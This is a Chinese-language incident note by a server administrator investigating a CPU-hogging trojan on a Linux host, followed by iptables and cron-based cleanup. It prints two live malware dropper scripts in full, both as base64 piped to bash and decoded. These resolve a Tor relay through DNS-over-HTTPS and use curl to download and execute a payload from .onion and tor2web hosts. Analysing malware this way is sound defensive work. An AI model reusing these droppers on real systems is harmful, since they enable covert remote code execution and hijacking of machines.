CPU监控爆满至100% 查进程发现： 1.谜之六字木马 2.定时任务异常 3.hosts异常 4.root家目录两个隐藏文件
cat /root/.ucxin.sh #!/bin/bash exec &>/dev/null echo ucxin.sh echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAibWF6ZWNsbWhiYWN1Y3hpbiIpCgpzb2NreigpIHsKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgoJGMgaHR0cHM6Ly9kb2guY2VudHJhbGV1LnBpLWRucy5jb20vJHAgfHwKICAgICAkYyBodHRwczovL2Rucy50d25pYy50dy8kcCB8fAogICAgICRjIGh0dHBzOi8vZG5zLnJ1YnlmaXNoLmNuLyRwIHx8CiAgICAgJGMgaHR0cHM6Ly9kb2guZG5zLnNiLyRwIDsgaG9zdCAtVyA1IHJlbGF5LnRvcjJzb2Nrcy5pbnxhd2sgeydwcmludCAkTkYnfSlcCiAgICAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfHNvcnQgLXVSfGhlYWQgLTEgKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaW8gdG9yMndlYi50byB0b3Iyd2ViLnN1CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC0xIC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash cat /root/.unixdb.sh #!/bin/bash exec &>/dev/null echo yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2 echo eXlBTmhaREZPczMxRjlXZ3FPb3Z1cnJ1RU1UM1ordjgyTUcwbTllbGFmaDhHVTErdTQvNzhOWm9LejJyQTdPMgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ1bml4ZGJudWFkeG13dG9iIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgdW5jZW5zb3JlZC5hbnkuZG5zLm5peG5ldC54eXopCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTUpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuY2ggdG9yMndlYi5pbyB0b3Iyd2ViLnRvIHRvcjJ3ZWIuc3UKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDApL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash5.解码
exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "mazeclmhbacucxin") sockz() { p=$(echo "dns-query?name=relay.tor2socks.in") s=$(($c https://doh.centraleu.pi-dns.com/$p || $c https://dns.twnic.tw/$p || $c https://dns.rubyfish.cn/$p || $c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\ | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1 ) } fexe() { for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz fexe f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) $c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.io tor2web.to tor2web.su do if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/io; then u $t.$h else break fi Done yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2 exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "unixdbnuadxmwtob") sockz() { n=(dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org uncensored.any.dns.nixnet.xyz) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%5))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1) } fexe() { for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz fexe f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) $c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.ch tor2web.io tor2web.to tor2web.su do if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/status; then u $t.$h else break fi done6.进程号、名称总是更改，且发现相关占用文件
封堵
yum install -y iptables iptables -A OUTPUT -m string --string "cim8.f.dedikuoti.lt" --algo bm --to 65535 -j DROP iptables -A OUTPUT -m string --string "dedikuoti.lt" --algo bm --to 65535 -j DROP iptables -A OUTPUT -p tcp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP iptables -A OUTPUT -p udp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP后发现谜之进程，正在通过本地多端口ssh连接其他节点
遂即发现木马又回来了，故编写脚本定时删文件、杀进程，结合iptables
crontab -u root -l */5 * * * * /bin/sh /root/mumashanchu.sh #!/bin/bash if [ -f "/root/.unixdb.sh" ];then chattr -i /root/.unixdb.sh rm -rf /root/.unixdb.sh sed -i "/.unixdb.sh/d" /var/spool/cron/root else echo "unixdb none" fi if [ -f "/root/.ucxin.sh" ];then chattr -i /root/.ucxin.sh rm -rf /root/.ucxin.sh sed -i "/.ucxin.sh/d" /var/spool/cron/root else echo "ucxin none" fi a=` ps -aux --sort=-%cpu | head -3 | grep -n "tracepath" | awk '{print $2}' ` ## echo $a if [ ! $a ];then echo "tracepath none" else /usr/bin/kill -9 $a fi iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED ACCEPT icmp -- anywhere anywhere ACCEPT all -- anywhere anywhere ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:ssh REJECT all -- anywhere anywhere reject-with icmp-host-prohibited Chain FORWARD (policy ACCEPT) target prot opt source destination REJECT all -- anywhere anywhere reject-with icmp-host-prohibited Chain OUTPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere cim8.f.dedikuoti.lt tcp spts:tcpmux:65535 DROP udp -- anywhere cim8.f.dedikuoti.lt udp spts:tcpmux:65535 DROP all -- anywhere anywhere STRING match "cim8.f.dedikuoti.lt" ALGO name bm TO 65535 DROP all -- anywhere anywhere STRING match "dedikuoti.lt" ALGO name bm TO 65535 DROP tcp -- 192.168.0.0/16 anywhere tcp dpts:tcpmux:65535 DROP udp -- 192.168.0.0/16 anywhere udp dpts:tcpmux:65535